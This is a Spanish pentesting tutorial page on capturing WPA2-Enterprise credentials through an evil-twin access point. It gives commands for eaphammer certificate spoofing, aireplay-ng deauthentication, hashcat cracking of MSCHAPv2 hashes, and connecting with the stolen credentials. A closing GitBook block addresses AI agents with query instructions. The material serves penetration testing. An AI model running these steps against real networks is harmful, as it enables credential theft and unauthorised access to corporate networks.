> For the complete documentation index, see [llms.txt](https://www.xtormin.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://www.xtormin.com/pentesting-en-infraestructuras/redes-wi-fi/ataques-wi-fi/wpa2-mgt-red-corporativa/ataques/captura-de-credenciales.md).

# Captura de credenciales

Al hecho de crear un AP falso con el mismo nombre que el AP objetivo, se le dan diferentes nombres:&#x20;

* AP falso.
* Fake AP.
* Rogue AP.&#x20;
* Evil Twin.

Solo funciona si se da alguna de las siguiente condiciones:

* El cliente usa usuario y contraseña para realizar la autenticación.
* El cliente no verifica el certificado del servidor con una CA conocida.

En adelante, se detallan los pasos

{% stepper %}
{% step %}

### Generar un certificado falso

En este punto se puede aprovechar la información enumerada del certificado para que se parezca lo máximo posible al legítimo. Si no se hubiera podido obtener información, se intentaría usar la información más cercana al contexto de la red objetivo.

{% code overflow="wrap" %}

```bash
python 3 ./eaphammer --cert-wizard
```

{% endcode %}
{% endstep %}

{% step %}

### Levantar el AP falso

Se levanta el AP usando una configuración similar al AP original que se quiere suplantar.

{% code overflow="wrap" %}

```bash
python3 ./eaphammer -i wlan1 --auth wpa-eap --essid <ESSID>
```

{% endcode %}
{% endstep %}

{% step %}

### Captura de paquetes

Se usa airodump para identificar los AP y clientes conectados al AP objetivo.
{% endstep %}

{% step %}

### Recibir autenticación

Para recibir el intento de autenticación se pueden hacer dos cosas:

* Esperar a que un cliente se conecte.
* Deautenticar a usuarios que estén conectados al AP, para forzar la reconexión.

{% code overflow="wrap" %}

```bash
# Deautenticación
aireplay-ng -0 0 -a <BSSID del AP> -C <STATION> wlan0
```

{% endcode %}

Para asegurar que en el fakeAP se reciba la autenticación, se puede hacer el ataque de deautenticación a la vez en todos los AP asociados al ESSID de la red wifi objetivo.
{% endstep %}

{% step %}

### Recibir credenciales

* Por terminal en la salida de la herramienta.
* En los logs de eaphammer:

{% code overflow="wrap" %}

```bash
cat logs/hostapd-eaphammer.log
```

{% endcode %}
{% endstep %}

{% step %}

### Cracking de hashes

{% code overflow="wrap" %}

```bash
hashcat -a 0 -m 5500 user.hc5500 <wordlist> --force
```

{% endcode %}
{% endstep %}

{% step %}

### Conexión con las credenciales

Se crea un fichero de configuración ('netauth\_user.conf') insertando una de las credenciales comprometidas:

{% code overflow="wrap" %}

```json
network={
    ssid="<ESSID>"
    scan_ssid=1
    key_mgmt=WPA-EAP
    eap=PEAP
    anonymous_identity="DOMINIO\anonymous"
    identity="DOMINIO\user"
    password="pass1234"
    phase1="peapver=1"
    phase2="MSCHAPV2"
}
```

{% endcode %}

Conexión:

{% code overflow="wrap" %}

```bash
wpa_supplicant -i wlan0 -c netauth_user.conf
```

{% endcode %}

Se pide IP:

{% code overflow="wrap" %}

```bash
sudo dhclient -v wlan0
```

{% endcode %}
{% endstep %}
{% endstepper %}


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://www.xtormin.com/pentesting-en-infraestructuras/redes-wi-fi/ataques-wi-fi/wpa2-mgt-red-corporativa/ataques/captura-de-credenciales.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
